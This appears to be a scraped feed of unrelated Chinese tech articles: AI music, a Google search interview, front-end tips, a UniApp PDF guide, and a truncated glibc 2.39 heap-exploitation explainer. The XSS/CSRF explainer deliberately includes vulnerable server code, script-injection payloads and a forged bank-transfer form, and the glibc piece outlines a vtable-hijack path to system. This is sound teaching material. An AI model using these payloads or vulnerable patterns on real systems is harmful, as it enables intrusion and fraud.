阅读视图
健友股份:注射用达巴万星获美国FDA批准
华海诚科:先进封装技术推动封装材料产业链的量价齐升,对公司的经营具有正向积极影响
《技能五子棋》血洗全网,AI神曲正在入侵你的耳朵
有技能的五子棋
有AI的音乐
起初,还没有人用传统五子棋来称呼五子棋,直到“力拔山兮、飞沙走石”的它出现了。
“传统的五子棋,就是把五个子连成一条线,好无趣,好无聊。而技能五子棋,就是在传统的五子棋,加入技能,好好玩,要爆了!技能五子棋,飞沙走石,技能五子棋,力拔山兮,技能五子棋,飞沙走石,技能五子棋,时光倒流!”
这段源自《喜人奇妙夜2》的荒诞喜剧台词,配上魔性旋律突然霸占了全网。打开抖音是“技能五子棋”的洗脑BGM,刷朋友圈能刷到改编歌词,百度搜索还能看见同曲改编制作的五子棋游戏,连张艺兴的鸟巢演唱会也跳起了这首五子棋。
●张艺兴鸟巢演唱会抖音直播截图
没人能说清这旋律到底好在哪,却没人能逃过它的“精神污染”。更有意思的是,当网友扒这首爆火音乐的创作背景时,发现背后藏着今年乐坛最热闹的秘密:这届刷屏神曲,可能一半都带着AI的基因。是的,张兴朝说《技能五子棋》“只是一次微醺后的ai作曲尝试”。网传他是用Suno做的,但他本人没说,我们也就不得而知了。
●张兴朝微博帖子截图
你大概率已经听过AI写的歌了,只是没察觉。现在各社交媒体上都充斥着各类AI歌曲,包括但不限于《技能五子棋》这种AI创作的歌曲,还有AI版邓丽君、孙燕姿的《泪桥》这种换音歌曲等,种种现象表明AI正在把音乐创作或者翻唱的门槛拆成碎片。以前想做首demo,得租录音棚、请乐手,光人声录制就可能花掉几千块钱;现在用Suno的“Add Vocals”功能,浴室清唱片段能直接变专业演唱。
市面上已经出现了大量的 AI 音乐创作平台。
Suno——就是网传张兴朝创作《技能五子棋》用的那个AI音乐创作工具——最新的V5版本能达到录音室级的音质,细节更丰富,能展现颤音、耳语和细腻的情感层次,失真更少;
谷歌DeepMind前研究员团队打造的Udio支持风格迁移功能,可以将乡村乐一键改编为电子乐等多种曲风,适合批量生产短视频配乐;
还有早在2016年就创立的元老级的AIVA,通过分析莫扎特、贝多芬等作曲家作品的旋律、节奏及和声结构建立数学模型,结合人工神经网络与遗传算法实现音乐生成。它生成的音乐作品已被NVIDIA、Globant、TED和沃达丰等国际企业采用,今年3月还获得网易的战略投资用于拓展中国市场。
而国内的平台更符合中文市场的需求,包括字节的海绵音乐、昆仑万维天工的SkyMusic、趣丸科技的天谱乐和对标Suno的Tunee,可以根据用户的模糊需求,完成从需求拆解、方案规划到音乐创作的全流程,最终生成符合用户需求的音乐作品。
●B站搜索“AI歌”的结果
有了AI的助力,自然也为更多非专业音乐人的普通大众衍生出了新的机会。
2月份,一首《七天爱人》突然出现在网易云飙升榜,歌中的一句“你说冰美式太苦要加一勺我的妥协”,被网友戏称连“方文山都得避让三舍”。
实际上这歌词来自财经自媒体博主杨平给DeepSeek的一句指令。这位连乐理基础都没有的程序员只是输入了一段提示词:“模仿周杰伦早期情歌风格,构建七日情感叙事,要求副歌具备记忆点”。之后Deepseek给了他一首完整的歌词,杨平借助MakeBestMusic(一款专业AI音乐创作平台,可以作曲、分离音轨和混音等)耗时3小时完成了《七天爱人》的词曲创作,后来歌曲版权卖给了某科技公司,赚了5万块钱。
尝到了甜头的杨平又总结了网友对《七天爱人》的评价,趁热推出了《八天爱人》。同样窥见商机并想要跟他一起乘上这波热度的广大网民,也跟风发布了《九天爱人》《十天爱人》《十一天爱人》《十二天爱人》一直到《十三天爱人》,然而这样流水线的作业,再也没有迎来《七天爱人》那般的热度,全部沉入水底。
●@Yapie程序员哥(杨平)的抖音视频
《七天爱人》的爆火让AI音乐成了杨平自媒体的分赛道,个人简介里除了“热搜A股4天亏32万的程序员”,多了一条“热搜deepseek写歌开创者”,彻底转向AI 音乐赛道。推出AI写歌教程合集,从提示词设计到平台审核,全网播放量2500多万;接着注册 “ai6666.com” 域名,把写词、作曲、分轨等工具网址整合出一站式服务,被粉丝戏称 “中国AI音乐教父”。
AI创作的歌曲多有一些共性,比如副歌片段重复、旋律简单,像《七天爱人》的“冰美式太苦”,《技能五子棋》的“飞沙走石”,很适配短、平、快的短视频传播,上午脑子里蹦出来的灵感,下午就能出版。
然而歌曲出圈背后的争议,比歌曲本身更刺耳。《七天爱人》火了之后,杨平不仅收到了一些音乐人的举报,被质疑这是一种不正当的竞争行为,而且还收到了五封音乐协会质询函。
尽管Suno宣称提供全平台授权,DeepSeek也说版权归提示词创作者,相关律师也表示杨平的做法“应视为人机共同创作,技术革新本身不构成不正当竞争”,但这各种质疑的杂音依然不断。
而现在,杨平的那个“ai6666.com”的域名已经无法使用,大众的对此的关注热情大不如前,杨平也转向了新赛道“低空经济创业”。
说到底,音乐的本质从来不是怎么做,而是为什么唱。就像“技能五子棋”的爆火,不在于旋律多洗脑,是它接住了年轻人想“一起发疯”的情绪,引起了大家的共鸣。如杨平所说:“AI能够将模糊灵感具象化”,但最重要的还是我们经历万事万物后,某天回想起某事时,那瞬间的感受。
撰文 | 马渝囝
编辑 | 巴芮
封面图源 | 喜人奇妙夜第二季第一期截图
你觉得什么样的AI音乐才会爆火呢?
本文来自微信公众号“未来人类实验室”,作者:马渝囝,36氪经授权发布。
华之杰:拟设立多个全资子公司满足业务发展需要
摩根大通将建英国新总部,预计为当地经济贡献99亿英镑,创造7800个就业岗位
英国拟继续加税扩支提振经济
从被唱衰到逆袭,谷歌搜索副总裁揭秘AI搜索翻身内幕
人们的很多基本需求并没有因为AI的到来而改变
今年五月,谷歌宣称“推出了Chrome历史上最大的一次升级”——为浏览器搜索栏加入全新的AI模式(AI Mode)。而10月7日,谷歌再次宣布:AI搜索模式将迎来大规模扩展,新增支持35种语言、覆盖40个国家和地区。全球更多用户将能以母语直接进行搜索,显著降低语言使用门槛。驱动这一变革的核心,是谷歌最新的Gemini模型,它让搜索引擎真正具备理解语义细微差异与多模态交互的能力。
从被ChatGPT带动的AI焦虑,到Gemini一度登顶App Store榜首,谷歌在短短两年内完成了翻身,也让人们重新审视谷歌在AI时代的角色。
在最新一期《Lenny’s Podcast》中,主持人Lenny Rachitsky对话谷歌搜索副总裁Robby Stein,这位曾打造Instagram Stories的产品总监,谈论了谷歌如何用AI重塑搜索、AI生态的未来,以及“好产品”背后的执念哲学。
●Lenny Rachitsky(左)与Robby Stein(右)
Robby在节目中坦言,ChatGPT出现后,不少人说“搜索已死”,但AI对谷歌搜索来说不是替代,而是进化。“谷歌的目标从未改变,那就是让信息人人皆可获取。搜索的本质是探索问题,AI让探索变得更自然、更人性化。搜索的未来,不是输入框,而是一场对话。我们希望AI能理解世界,也理解你为什么在提问。”
以下为本次播客内容的精华,经未来人类实验室整理编译——
Gemini崛起:谷歌的“AI翻身仗”
主持人:前段时间,Gemini成了App Store第一名,这几乎没人预料到。过去几年,大家都在问:“谷歌去哪儿了?为什么ChatGPT赢了?”如今看来,情况似乎彻底变了。是什么带来了这样的转折?Nano Banana是近期增长的主要来源吗?
Robby:Nano Banana确实是增长的主要来源。但我认为,人们也认识到他们可以在谷歌的一系列其他产品中做很多很酷的事情。我现在感受到的是一种令人难以置信的专注感和快速交付优秀产品的紧迫感。一直以来,谷歌致力于让信息人人皆可获取,而有了AI,我们实际上可以比以往任何时候都更容易实现这一点。Gemini成功的背后是团队长期不懈的努力,我们与DeepMind等团队紧密合作,将研究与产品结合。这不是一夜之间的变化,而是每月、每日的持续改进累积而成的“临界点”。
主持人:是否有像公司团队重大改组或新的领导人到位这样的事情带来新的理念,让Gemini成为世界顶级应用程序?
Robby:我认为很多时候,人们会倾向于将公司发展归因于一次性的变化或单个人的变化。但当你看到团队每个月都在无情地改进产品或模型,每天都在让它变得更好时,就会发现事情的关键其实在于这种日积月累的复合效应。然后产品就会达到一个临界点,让人们更喜欢它,使用它,享受它。
谷歌的底牌:真正“懂搜索”的AI
主持人:过去几年,随着ChatGPT 和其他聊天机器人的出现,很多人认为,相比于传统搜索模式坐在一大堆结果前点击链接,为什么不直接在AI对话框里得到答案呢?但现在的情况似乎并非如此,谷歌做得很好。关于谷歌搜索的现状,你有什么可以分享的吗?
Robby:我发现有趣的是,人们来搜索的东西多得离谱,什��都有。他们想要某个特定的电话号码,他们想要某样东西的价格,他们想要获取路线和方向,他们想要找到一个缴税的网页......人们想做你能想象到的任何事情。我认为很多人都没有充分认识到这一点,那就是,人们的很多基本需求并没有因为AI的到来而改变。
AI正在覆盖越来越多的东西,因此,现在有越来越多的问题和好奇心可以通过AI得到满足,而这正是我们的优势所在。在我看来,谷歌搜索的核心功能并没有真正改变,但你会看到AI与搜索结合的扩张时刻。比如,你现在可以任意拍一张照片,然后询问AI。比如给作业拍张照,说我卡在了第2 题上,或者给你的书架拍张照,说根据这些书,我应该买哪些书?AI就能帮你解决这些问题。谷歌镜头(Google Lens)是增长最快的产品之一,它的视觉搜索量同比增长了70%,这是一个巨大的规模。
主持人:所以你并没有看到搜索的消亡。最近你们推出了AI搜索,我认为还没有足够的人在谈论这个问题。你能谈谈谷歌搜索的AI模式吗?
Robby:AI模式是搜索体验的下一个阶段,它整合了三大能力:AI概览、多模态搜索和对话模式。AI概览就是页面顶部的快速回答。多模态能力允许用户通过图像或语音搜索。最后是对话模式,它在最先进的模型上创造了一种端到端的前沿搜索体验,真正让你可以问谷歌搜索的任何问题,你可以像聊天一样与谷歌来回对话交流。
●谷歌官网展示的AI搜索方式
我认为搜索不该让人想“我该去哪儿输入问题”,而是“我只要去Google,就能得到答案”。而我们要做的,就是让用户能够轻松使用新产品。我们对产品的追求是最终为用户提供一种一致、简单的产品体验,目前我们仍在继续探索和尝试。 因为用户已经习惯了特定的谷歌使用方式,他们习惯输入关键词,但实际上现在你已经可以在谷歌中使用自然语言提问,这正是当前最重大的转变。
我们观察到,人们开始提出真正冗长、复杂的问题。这在过去难以想象,现在你竟然可以在谷歌输入整段话,比如“我已经去过这四家餐厅,还有什么适合晚上约会的好去处?要有户外座位,而且我朋友对某种食物过敏”。我们正致力于让这类复杂查询变得像关键词搜索一样简单便捷,这正是最令我们兴奋的方向。
●谷歌搜索AI模式官网截图
主持人:它到底改变了什么?和ChatGPT有何不同?
Robby:谷歌的AI显然具有使用参数记忆、思考、推理以及所有其他AI能做的事情的能力,它的独特之处在于专门为信息任务设计。它如何找到信息?它如何知道信息是否正确?它如何检查自己的工作?这些都是我们内置到模型中的东西。
谷歌的AI模式与其他AI的最大区别,是它真的在“搜索世界”。每当Gemini回答一个问题,它会实时检索网页、调用索引、查询购物数据库,甚至在后台进行多次搜索验证,每个搜索都与内容配对。这种机制让谷歌的AI具备可验证、可追踪的特性,减少“幻觉”与错误。你可以查找谷歌搜索质量评估指南,这是一份非常长的文件,几十年来一直围绕着什么是伟大的信息精心制作,这是谷歌研究得比任何人都多的东西。
主持人:传统的SEO(搜索引擎优化)似乎正在被AEO(AI答案引擎)、GEO(生成式引擎)所取代,你对此有什么看法?
Robby:当AI成为人们搜索的第一入口,内容创作者的规则也随之改变。过去依靠SEO争夺排名,如今迎来了AEO和GEO时代。AI依然依赖人类内容,但它会选择更有用、更可信的来源。比如它会评估文章是否原创、是否提供具体解决方案。因此,未来写作的核心,不再是关键词密度,而是回答用户的真实问题。谁最懂用户的提问,谁就最可能被引用。
好产品背后的执念哲学是“永不满足”
主持人:你认为有什么东西对产品构建者真正有帮助,可以帮助他们构建更成功的产品?
Robby:我认为有两件事情很重要。第一是坚持不懈,总是全力以赴地朝着积极的生产力方向发挥作用。第二是永不满足,你必须总是不满足于现有的东西,致力于让事情变得更好。
这实际上来自于我的一个有点有趣的故事,当时我在Instagram参加一个大型的全体团队会议,他们有一个破冰活动,"用一个词来形容你自己"。所以在后台区,我迅速地给我的妻子发了短信,"嘿,用一个词来形容我,你第一个想到的是什么?",她只是回复了"不满足"。我在后台区咯咯地笑,我首先有点生气,因为我觉得,不是"有爱心"或"关怀"之类的好词。她看到我的消息后,给我写了一篇非常有思想的东西,她的意思是,“不满足”不是你不开心、不满意,而是你想让世界变得更好。你被内心深处的渴望所驱动,你对世界所给予的感到不满意。你想让它变得更好,并且你有动力去做这件事。
还有另一个故事,是Tony Fadell 在大概10年前的一次Ted演讲中讲述的,标题是"Think Younger"之类的。他谈到了随着我们长大并成为成年人,我们越来越习惯于接受和容忍一切。我们只是说,"这件事真糟糕。哦,好吧。",然后就耸耸肩,继续前进。但如果你不这样做,你可以问"为什么这样很糟糕?为什么我要容忍这个?我如何让它变得更好?"。我认为这就是最好的产品人员或者说最好的思考者,他们的思维方式。这是构建产品很大的动机之一,实际上是识别出用户问题,代表用户感到非常不满。
主持人:假设一下,有两种不同类型的人。一种人是"让事情变得更好,创造惊人的体验"。另一种人是"以指标和目标为驱动,达到我们的KPI"。你怎么看待这两种人?
Robby:我不认为它们是非此即彼的,我认为它们必须相交。大多数伟大的公司和产品都来自于一个问题,从问题中会产生更好的方法。但是最终,你需要工具和指标来衡量你是否在正确的轨道上。
比如,当你构建了你的第一版产品,你需要知道人们喜欢它吗?你可能会与人们交谈,也会添加一些分析工具,比如留存率,即在第7天、第30天、第90天仍在使用该产品的人的百分比,它是否趋于平稳?可能用户随着时间的推移流失了,因为产品不再令人兴奋。如果在足够长的时间内没有足够的用户,而产品一直无法进步,那时你就完了。如果有人正在使用它,好的,太棒了,我们需要更多的人来使用它,并为它的成长设置新的指标或门槛。
每个产品都有它的历程,没有产品从一开始就是大的。即使有些产品很快就变得很大,但在内部,他们也是从小做起,一开始只有10到100人。所以你必须关注指标。在这一点上,我确实觉得更具分析性、系统性的思考很有帮助,因为如果你试图在世界里产生价值,你需要以某种方式量化它。
编辑 | 高凡乔
封面图源 | AI生成
AI bot与搜索引擎,你更常用哪个?
欢迎在评论区分享你的看法~
本文来自微信公众号“未来人类实验室”,作者:高凡乔,36氪经授权发布。
恒指收涨0.07%,恒生科技指数跌0.36%
诶,这么好用的 mock 你怎么不早说
前言
老板:小王啊,你 bug 率也太高了,得想想办法,不然扣你绩效。 小王眼里闪过一分无奈二分心酸三分苦涩四分身不由己,很多条件 case、边缘 case 都不好触发,很难自测充分,比如:
- 新手引导,标识由后端下发,申请个新账号非常麻烦
- 各类状态的流转,比如 xx 任务失败,但是大多数情况下都走不到失败路线
- 余额为 0 的情况下的各种 case,测试账号往往都是拉满的余额
- vip 与普通用户的各种差异点
对这类的情况,就只能盲写,然后手动在代码里改状态来大致看一下效果,就很难模拟出一个完整的流程,会出 bug 也属实正常。
有心急的同学就要说了,mock 呀,用 mock 呀!
话虽如此,但是要使用这一套,一是你需要起服务/开程序、写数据、运行,这一套下来还是比较费时间的。二是此类问题绵绵无绝期,每次都这么搞,时间成本会无限累加。
而且频繁调试往往会弄脏代码,很容易提交上一些调试数据,有没有更简单好用的方案呢?
有的有的(掏出 chrome),这么简单的方案还有一个,那就是我们常打交道的控制台了。
chrome 之替换
这里举个实际例子带大家走一遍,比如我是掘金的前端,我想测试一下文章审核中的样式
但是总不能回回都重新写一个审核中的文章供自己测试,费时费力。已知审核中的状态由后端 dynamic 接口的 audit_status决定,该状态为 1 时会展示审核中,为 0 时是正常。
先看一下最终实现的效果吧,只需要简单的操作就可以开闭 mock,而且不侵入代码:
OK,再说下详细使用步骤:
- 在网络中找到目标接口
- 右键进行替换
- 如果是首次使用,会有个提示,需要你选择一个文件夹来存放数据
- 此时会进入到替换的编辑页,该页面可能为刚才请求的内容,也有时候为空。
如果为空的话,可以先去刚才的响应里复制,再贴过来
- 接着就可以自行修改响应的内容了:这里我们把
audit_status从0改为1 - ctrl s 保存后,刷新页面即可看到效果
大功告成,虽然看起来步骤很多,但大多数情况下实际上只需要右键替换,编辑保存两步就完事了,既方便启用,又不侵入代码。
医药基金年内平均收益率接近30%
商务部:愿与美方共同做好有关经贸磋商成果落实工作
关于XSS和CSRF,面试官更喜欢这样的回答!
这是我们前端最常见的两种攻击手段,也是面试中最常考的前端攻击。这篇文章我用最精炼、最优雅,也是面试官最喜欢的回答方式来讲解下 XSS 和 CSRF。
一、XSS(跨站脚本)
原理
攻击者把 恶意脚本 注入到受信任页面并被浏览器执行,脚本 利用页面的信任上下文(Cookies、localStorage、DOM)窃取数据或劫持会话。
常见类型
- 反射型(参数或路径直接反射到页面并执行)
- 存储型(恶意内容存储在服务器,其他用户访问时触发)
- DOM-based(客户端不安全的 DOM 操作导致执行,和服务器无关)
最小复现示例(不安全的后端 + 不安全的前端)
后端(Express — 危险示例)
// server.js(示例,仅演示不安全行为)
const express = require('express');
const app = express();
app.get('/search', (req, res) => {
const q = req.query.q || '';
// 直接把用户输入拼到 HTML 中 —— 危险!
res.send(`<html><body>搜索: ${q}</body></html>`);
});
app.listen(3000);
访问 /search?q=<script>alert(1)</script> 会执行脚本(反射型)。
前端 DOM XSS(危险)
<div id="out"></div>
<script>
const q = location.search.split('q=')[1] || '';
document.getElementById('out').innerHTML = q; // 不转义 —— 危险(DOM XSS)
</script>
实战防范要点
- **输出编码(服务器端)**:所有插入 HTML 的内容做 HTML 转义(
&<>\"')。 -
前端最小化 innerHTML:尽量用框架绑定(React/Vue 的模板)替代
innerHTML。框架框出来的插值(
{value}/{{ value }})会自动做 HTML 转义,把<、>、&、"、'等关键字符替换成实体(<等),从而把攻击脚本当文本显示,而不是执行。 -
富文本白名单清洗:对于必须存储/渲染的 HTML(富文本),后端用白名单 sanitizer(比如
bleach/html-sanitizer),前端再用 DOMPurify 做一次保护,对标签属性等进行清洗。 - Content-Security-Policy(CSP)头部:禁止内联脚本、只允许可信源。
- HttpOnly Cookie 头部:token/cookie 设置 HttpOnly,防止被脚本直接读取(减轻 XSS 后果)。
示例代码 — 安全改造
后端(Express + 转义)
const escapeHtml = s => String(s)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
app.get('/search', (req, res) => {
const q = escapeHtml(req.query.q || '');
res.send(`<html><body>搜索: ${q}</body></html>`);
});
前端(若必须渲染 HTML,用 DOMPurify)
<!-- npm install dompurify -->
<script src="https://unpkg.com/dompurify@2.<!--version-->/dist/purify.min.js"></script>
<div id="content"></div>
<script>
// htmlFromServer 来自后端 API,仍需 sanitize
const htmlFromServer = '<img src=x onerror=alert(1)>';
document.getElementById('content').innerHTML = DOMPurify.sanitize(htmlFromServer);
</script>
设置 CSP(Nginx/Express header 示例)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none';
二、CSRF(跨站请求伪造)
原理
利用用户已登录且浏览器会自动带上凭证(cookie)的特性,攻击者诱导用户发起对受信任站点的请求(如通过自动提交表单或图片请求),从而在用户 名下执行未授权操作。
最小复现示例(攻击者页面)
如果 bank.com/transfer 接受 GET 或 POST 并依赖 cookie 验证,攻击页面可这样写:
<!-- auto.html(在攻击者域名上) -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input name="to" value="attacker" />
<input name="amount" value="1000" />
</form>
<script>document.getElementById('f').submit();</script>
用户在已登录 bank.com 的情况下访问攻击页面时,浏览器会自动带上 bank.com 的 cookie,导致转账。
防护要点
-
SameSite Cookie:把 session/cookie 设置
SameSite=Lax或Strict(Lax 对 POST 有保护,适配大多数情形)。 - **CSRF Token(同步/双提交)**:服务端生成随机 token,响应给前端;敏感请求必须携带并校验该 token。
该 token 不同于 jwt token ,此处的 csrf-token 只为配合 session+cookie 传统鉴权策略做安全防护。
-
检查 Origin/Referer:对跨站请求校验
Origin或Referer头(通常对 POST/PUT/DELETE 生效)。 -
避免用 cookie 做对外 API 的认证:采用
Authorization: Bearerheader 的 token 机制(只有 JS 能读/写),结合 CORS 限制。 - 敏感操作二次确认:密码/OTP/二次验证。
示例代码(Express + scrf token + csurf)
csurf使用 **双提交验证机制(CSRF Token)**:
- 服务端生成一个 CSRF Token,放在 cookie 或 session 中。
- 前端每次发 POST/PUT/DELETE 请求要带上这个 token,常放在请求头或表单隐藏字段,比如:
X-CSRF-Token: ey2423482374823748234- 服务端校验 token,是否匹配、是否未过期、是否合法。
后端(Express)
// server.js
const express = require('express');
const cookieParser = require('cookie-parser');
const csurf = require('csurf');
const app = express();
app.use(cookieParser());
app.use(express.json());
app.use(csurf({ cookie: { httpOnly: true, sameSite: 'lax' } }));
app.get('/csrf-token', (req, res) => {
// 返回 token 给 SPA 前端(用于后续请求 header)
res.json({ csrfToken: req.csrfToken() });
});
app.post('/transfer', (req, res) => {
// csurf 中间件会自动校验请求中的 token(_csrf 字段或 X-CSRF-Token header)
// 执行转账逻辑...
res.json({ ok: true });
});
app.listen(3000);
前端 SPA(获取 token 并在请求头中发送)
// 初始化时获取 token
async function init() {
const r = await fetch('/csrf-token', { credentials: 'include' });
const { csrfToken } = await r.json();
window.__CSRF_TOKEN = csrfToken;
}
// 发送受保护请求
async function transfer() {
await fetch('/transfer', {
method: 'POST',
credentials: 'include', // 仍然带 cookie
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': window.__CSRF_TOKEN
},
body: JSON.stringify({ to: 'bob', amount: 100 })
});
}
只用 SameSite(简洁替代,适用多数场景),在服务端设置 cookie:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/;
这就能阻止绝大多数通过第三方页面触发的 POST/跨站敏感操作。
三、XSS 与 CSRF 的关键总结
概念:
- XSS:攻击者注入脚本并可读取页面内容(更强),根源是输出/DOM 不安全。
- CSRF:攻击者伪造用户请求,无法直接读取响应,根源是浏览器自动带凭证。
防护:
- 后端统一使用 HTML escape 库;富文本走白名单 sanitizer。
- 全站 Cookie:
HttpOnly; Secure; SameSite=Lax。 - 对需要的页面开启 CSP(report-only 先观测,再 enforce)。
- SPA:首次获取 CSRF token 并在后续请求中以 header 发送;服务端检查
Origin/Referer。 - CI/代码审查禁止随意使用
innerHTML/eval/dangerouslySetInnerHTML。 - 对关键操作实施二次验证(密码/OTP)。
京东携30余家机器人品牌亮相世界智能制造大会
UniApp PDF文件下载与预览功能完整实现指南
功能概述
在UniApp开发中,实现PDF文件的下载与预览是一项常见需求。本文将详细介绍如何使用UniApp框架实现这一功能,并提供完整的代码示例和注意事项。以下是完整的实现代码,支持多端兼容和错误处理:
const handleDownload = (item: any) => {
uni.showLoading({title:'下载中...'})
// 定义存储路径
const filePath = `${uni.env.USER_DATA_PATH}/${item.name}.pdf`
uni.downloadFile({
url: item.fileUrl,
success: (data:any) => {
uni.getFileSystemManager().saveFile({
tempFilePath: data.tempFilePath,
filePath: filePath, // 目标路径(可选)
success: (res1:any) => {
uni.openDocument({
filePath: res1.savedFilePath,
fileType: 'pdf',
showMenu: true,
fail: () => {
uni.showToast({icon:'none',title:'打开失败'})
},
});
},
fail: err => {
uni.showToast({icon:'none',title:'保存失败'})
}
})
},
fail: (err) => {
console.log(err);
uni.showToast({
icon: 'none',
mask: true,
title: '失败请重新下载',
});
},
complete: () => {
uni.hideLoading()
},
})
}
实现原理分析
1. 下载流程
UniApp提供了uni.downloadFileAPI用于文件下载,此方法会将远程文件下载到临时路径。下载成功后,通过uni.getFileSystemManager().saveFile()将文件从临时路径保存到指定位置,使其持久化存储。
2. 预览功能
保存成功后,使用uni.openDocumentAPI打开PDF文件。该API会自动调用系统中已安装的PDF阅读器来打开文件,提供良好的用户体验。
多端兼容性处理
不同平台的实现差异
根据目标平台的不同,可能需要采用不同的实现方案:
-
H5平台:可以使用
window.open直接在新标签页打开PDF链接 -
微信小程序:需在微信公众平台配置
downloadFile合法域名 - APP端:可使用上述代码实现,也可集成原生PDF插件获得更好体验
多端兼容代码示例
exportPDF() {
// #ifdef H5
window.open(pdfUrl)
// #endif
// #ifdef MP-WEIXIN
uni.downloadFile({
url: pdfUrl,
success: res => {
if (res.statusCode === 200) {
uni.openDocument({
filePath: res.tempFilePath,
showMenu: true,
success: function(file) {
console.log("文件打开成功")
}
})
}
}
})
// #endif
// #ifdef APP-PLUS
// 使用前面提供的handleDownload方法
// #endif
}
优化与扩展功能
1. 自定义保存路径
默认情况下,文件保存在应用沙盒目录内。如需保存到用户自定义目录(如手机存储的特定文件夹),可以使用以下方法:
// Android平台保存到自定义目录
const downLoadFile = (file) => {
let dtask = plus.downloader.createDownload(file.fileUrl, {
filename: "file://storage/emulated/0/自定义文件夹/" + file.originalName
}, function(d, status) {
if (status == 200) {
let fileSaveUrl = plus.io.convertLocalFileSystemURL(d.filename)
plus.runtime.openFile(d.filename)
}
})
dtask.start()
}
2. 下载进度显示
可以添加进度监听,提升用户体验:
const downloadTask = uni.downloadFile({
url: item.fileUrl,
success: (data) => {
// 成功处理
}
})
downloadTask.onProgressUpdate((res) => {
console.log('下载进度' + res.progress)
console.log('已下载' + res.totalBytesWritten)
console.log('总大小' + res.totalBytesExpectedToWrite)
})
3. 使用PDF.js实现内嵌预览
对于需要应用内预览的场景,可以集成PDF.js:
<template>
<web-view :src="webViewUrl"></web-view>
</template>
<script>
export default {
data() {
return {
pdfUrl: '',
webViewUrl: ''
}
},
onLoad(options) {
this.pdfUrl = options.url
// 使用PDF.js的viewer.html预览
this.webViewUrl = `/static/pdfjs/web/viewer.html?file=${encodeURIComponent(this.pdfUrl)}`
}
}
</script>
常见问题与解决方案
1. 文件打开失败
- 原因:设备上没有安装PDF阅读器
- 解决方案:提示用户安装相关应用,或使用PDF.js等在线预览方案
2. 下载权限问题
- Android平台:需要申请存储权限
// 申请存储权限
plus.android.requestPermissions([
'android.permission.WRITE_EXTERNAL_STORAGE',
'android.permission.READ_EXTERNAL_STORAGE'
], successCallback, errorCallback)
3. 域名白名单限制
- 微信小程序:需在微信公众平台配置downloadFile合法域名
4. 二进制流文件处理
如果后端返回的是文件流而非直接链接,需要特殊处理:
uni.request({
url: fileUrl,
responseType: 'arraybuffer',
success: (response) => {
let blob = new Blob([response.data], {type: 'application/pdf;charset=UTF-8'})
let pdfUrl = window.URL.createObjectURL(blob)
// 使用此URL进行预览或下载
}
})
总结
本文详细介绍了在UniApp中实现PDF文件下载与预览的完整方案。核心代码使用了uni.downloadFile和uni.openDocumentAPI,具有良好的跨平台兼容性。针对不同平台和特殊需求,也提供了相应的优化方案和扩展功能。关键点总结:
- 核心流程:下载→保存→预览
- 多端兼容:通过条件编译实现各平台最佳体验
- 用户体验:添加进度提示和错误处理
- 灵活扩展:支持自定义路径和内嵌预览等功能
此方案已在多个项目中实践验证,稳定可靠,可以作为UniApp项目文件处理的基础实现。
摩根大通展望2026年中国股票:聚焦“反内卷”政策执行、AI基础设施变现等四大主题
浅谈glibc2.39下的堆利用
在glibc2.34以后取消了__free_hook以及__malloc_hook,因此需要找到一个可以控制程序执行流程的函数指针代替__free_hook以及__malloc_hook。
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
在结构体_IO_FILE_plus中存在着类似于虚表的变量vtable,其中存储着许多函数指针。
若能修改vtable指针并指向我们伪造的vtable,即可达成劫持程序执行流程的目的。
但是在glibc2.24之后加入了vtable指针的校验,简单来说就是会检测vtable指针是否在范围之内。因此在glibc2.24之后,需要找在范围内的vtable指针加以利用。
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//计算在glibc中vtable指针的范围
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判断当前vtable指针与起始位置的偏移
if (__glibc_unlikely (offset >= section_length)) //若偏移大于最大距离则校验失败
_IO_vtable_check ();
return vtable;
}
在glibc范围内存在着名为_IO_wfile_jumps的vtable指针。该跳转表中存在着一个特殊的函数_IO_wfile_overflow
调用流程如下所示,简单来讲_IO_wfile_overflow最终调用的是_IO_wdoallocbuf将宏拆解,实际最终调用的是fp->_wide_data->_wide_vtable,而在调用fp->_wide_data->_wide_vtable的时候并没有检测vtable的合法性,因此倘若我们能够伪造__wide_data就能够控制_wide_vtable变量,最后将该跳转表内容修改为system,即可完成程序流程的劫持。
/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
//#define _IO_NO_WRITES 0x0008
//f->_flags & _IO_NO_WRITES == 0
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
//#define _IO_CURRENTLY_PUTTING 0x0800
//f->_flags & _IO_CURRENTLY_PUTTING == 0
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
//f->_wide_data->_IO_write_base == 0
if (f->_wide_data->_IO_write_base == 0)
{
//满足上述条件执行fp->_wide_data->_wide_vtable
_IO_wdoallocbuf (f);
...
void
_IO_wdoallocbuf (FILE *fp)
{
//fp->_wide_data->_IO_buf_base == 0
if (fp->_wide_data->_IO_buf_base)
return;
//#define _IO_UNBUFFERED 0x0002
//fp->_flags & _IO_UNBUFFERED == 0
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
...
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
根据上述源码我们可以知道,想要执行_IO_wdoallocbuf需要满足以下几个条件
-
f->_flags & _IO_NO_WRITES == 0 -
f->_flags & _IO_CURRENTLY_PUTTING == 0 -
f->_wide_data->_IO_write_base == 0 -
fp->_wide_data->_IO_buf_base == 0 -
fp->_flags & _IO_UNBUFFERED == 0
